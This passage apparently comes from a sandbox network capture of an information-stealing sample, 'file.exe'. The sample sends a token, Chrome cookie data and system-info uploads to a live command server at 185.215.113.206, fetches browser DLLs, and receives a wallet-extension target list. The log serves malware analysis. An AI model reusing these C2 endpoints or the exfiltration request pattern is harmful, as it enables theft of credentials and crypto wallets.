Nov 12, 2024 10:37:04.364720106 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKEHDGDGHCBGCAKFIIIE Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 36 32 35 33 65 30 30 35 61 36 37 35 32 32 32 31 34 32 66 65 33 31 66 62 64 39 36 37 36 64 32 34 32 30 35 39 32 33 35 30 34 32 38 34 38 30 38 35 32 37 64 33 63 62 30 31 61 65 65 34 39 34 32 64 38 36 61 37 63 61 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 45 2d 2d 0d 0a Data Ascii: ------BKEHDGDGHCBGCAKFIIIEContent-Disposition: form-data; name="token"546253e005a675222142fe31fbd9676d24205923504284808527d3cb01aee4942d86a7ca------BKEHDGDGHCBGCAKFIIIEContent-Disposition: form-data; name="message"fplugins------BKEHDGDGHCBGCAKFIIIE--
Nov 12, 2024 10:37:04.643729925 CET	335	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 12, 2024 10:37:04.688992977 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHIDGDHCGCBAKFHIIIII Host: 185.215.113.206 Content-Length: 7415 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 10:37:04.689028025 CET	7415	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 48 49 44 47 44 48 43 47 43 42 41 4b 46 48 49 49 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 36 32 35 33 Data Ascii: ------GHIDGDHCGCBAKFHIIIIIContent-Disposition: form-data; name="token"546253e005a675222142fe31fbd9676d24205923504284808527d3cb01aee4942d86a7ca------GHIDGDHCGCBAKFHIIIIIContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 12, 2024 10:37:05.493182898 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 10:37:05.753109932 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 10:37:06.029192924 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:05 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 12, 2024 10:37:06.029225111 CET	112	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49772	185.215.113.206	80	4328	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:37:16.871164083 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCBAECGIEBKKFHIDAKEC Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 36 32 35 33 65 30 30 35 61 36 37 35 32 32 32 31 34 32 66 65 33 31 66 62 64 39 36 37 36 64 32 34 32 30 35 39 32 33 35 30 34 32 38 34 38 30 38 35 32 37 64 33 63 62 30 31 61 65 65 34 39 34 32 64 38 36 61 37 63 61 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="token"546253e005a675222142fe31fbd9676d24205923504284808527d3cb01aee4942d86a7ca------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------FCBAECGIEBKKFHIDAKEC--
Nov 12, 2024 10:37:18.316826105 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 10:37:18.475003958 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJKJDGCGDAKFHIDBGCB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 36 32 35 33 65 30 30 35 61 36 37 35 32 32 32 31 34 32 66 65 33 31 66 62 64 39 36 37 36 64 32 34 32 30 35 39 32 33 35 30 34 32 38 34 38 30 38 35 32 37 64 33 63 62 30 31 61 65 65 34 39 34 32 64 38 36 61 37 63 61 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EHJKJDGCGDAKFHIDBGCBContent-Disposition: form-data; name="token"546253e005a675222142fe31fbd9676d24205923504284808527d3cb01aee4942d86a7ca------EHJKJDGCGDAKFHIDBGCBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHJKJDGCGDAKFHIDBGCBContent-Disposition: form-data; name="file"------EHJKJDGCGDAKFHIDBGCB--
Nov 12, 2024 10:37:19.260277987 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49834	185.215.113.206	80	4328	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:37:25.353138924 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIIDBGDAFHJDHIDGDGII Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 10:37:25.353218079 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 49 49 44 42 47 44 41 46 48 4a 44 48 49 44 47 44 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 36 32 35 33 Data Ascii: ------GIIDBGDAFHJDHIDGDGIIContent-Disposition: form-data; name="token"546253e005a675222142fe31fbd9676d24205923504284808527d3cb01aee4942d86a7ca------GIIDBGDAFHJDHIDGDGIIContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 12, 2024 10:37:26.678527117 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 10:37:26.763789892 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGIDGCAFCBKECAAKJJK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 36 32 35 33 65 30 30 35 61 36 37 35 32 32 32 31 34 32 66 65 33 31 66 62 64 39 36 37 36 64 32 34 32 30 35 39 32 33 35 30 34 32 38 34 38 30 38 35 32 37 64 33 63 62 30 31 61 65 65 34 39 34 32 64 38 36 61 37 63 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="token"546253e005a675222142fe31fbd9676d24205923504284808527d3cb01aee4942d86a7ca------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="file"------EBGIDGCAFCBKECAAKJJK--
Nov 12, 2024 10:37:27.536123037 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 10:37:28.081238985 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 10:37:28.357795954 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:28 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 12, 2024 10:37:28.357853889 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 12, 2024 10:37:28.357868910 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 12, 2024 10:37:28.357995033 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 12, 2024 10:37:28.358006954 CET	848	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Nov 12, 2024 10:37:28.358119011 CET	1236	IN	Data Raw: ff d1 83 c4 0c 8b 37 8b 47 04 8b 48 14 8b 45 10 8b 18 ff 15 00 80 0a 10 53 8b 5d 0c 53 56 ff d1 83 c4 0c 8b 37 8b 47 04 8b 48 18 ff 15 00 80 0a 10 ff 75 14 ff 75 10 53 56 ff d1 83 c4 10 31 c0 83 c4 04 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 Data Ascii: 7GHES]SV7GHuuSV1^_[]USWVPh1tq]@CFECHut7FKSrQP;KqSPVi^_[]Uh
Nov 12, 2024 10:37:28.358133078 CET	1236	IN	Data Raw: 04 02 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b 5d 10 8a 53 01 32 14 0f 8b 4d e4 88 51 01 83 fe 02 0f 84 e8 00 00 00 8b 45 ec 04 03 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f Data Ascii: }$7$7u]S2MQE}$7$7u]S2MQE}$7$7u]S2MQttE}$7$7u]S2MQt<E}
Nov 12, 2024 10:37:28.358266115 CET	1236	IN	Data Raw: 74 09 0f b6 46 02 c1 e0 10 09 c1 89 4d e0 8a 55 e8 8b 45 d0 8b 4d ec 83 c7 04 e9 29 01 00 00 66 0f ef c9 66 0f 6f 05 c0 20 08 10 31 f6 66 0f ef d2 f6 c2 01 0f 84 9b 00 00 00 66 0f 6f 1d d0 20 08 10 66 0f fe d8 0b 75 cc 8b 45 10 66 0f 6e 2c 30 66 Data Ascii: tFMUEM)ffo 1ffo fuEfn,0fnd0ff`faf`fafrfo5 f[fpffpfpffpfbffrf[fpffpfpffpfbfffpffpUff~MU
Nov 12, 2024 10:37:28.358278036 CET	1236	IN	Data Raw: 45 f0 89 f9 88 88 00 01 00 00 88 90 01 01 00 00 e9 50 fe ff ff 8b 45 ec 04 07 89 45 ec 0f b6 c0 8b 7d f0 8a 0c 07 00 ce 0f b6 f6 8a 2c 37 88 2c 07 88 0c 37 00 cd 8b 45 10 8a 40 06 0f b6 cd 32 04 0f 88 43 06 8b 4d ec e9 2e f7 ff ff cc cc cc 55 89 Data Ascii: EPEE},7,7E@2CM.USWV\2tRAA q$]QD1A@1RQP5}gjM31
Nov 12, 2024 10:37:28.358294010 CET	848	IN	Data Raw: 89 55 e0 31 cf 8b 75 98 31 d6 89 f9 0f a4 f1 08 0f a4 fe 08 89 f2 8b 85 74 ff ff ff 8b 70 48 89 b5 38 ff ff ff 8b 7d b4 01 f7 8b 70 4c 89 b5 14 ff ff ff 11 f3 89 f8 01 d0 89 d7 89 45 b4 11 cb 89 5d c8 8b b5 64 ff ff ff 31 de 8b 5d 94 31 c3 89 da Data Ascii: U1u1tpH8}pLE]d1]1U]uuEE11E}tBP`MBTD]HM}]u1uP1Euu11}tO
Nov 12, 2024 10:37:31.417721987 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 10:37:31.694611073 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:31 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 12, 2024 10:37:33.356340885 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 10:37:33.633389950 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:33 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 12, 2024 10:37:34.441553116 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 10:37:34.718772888 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:34 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 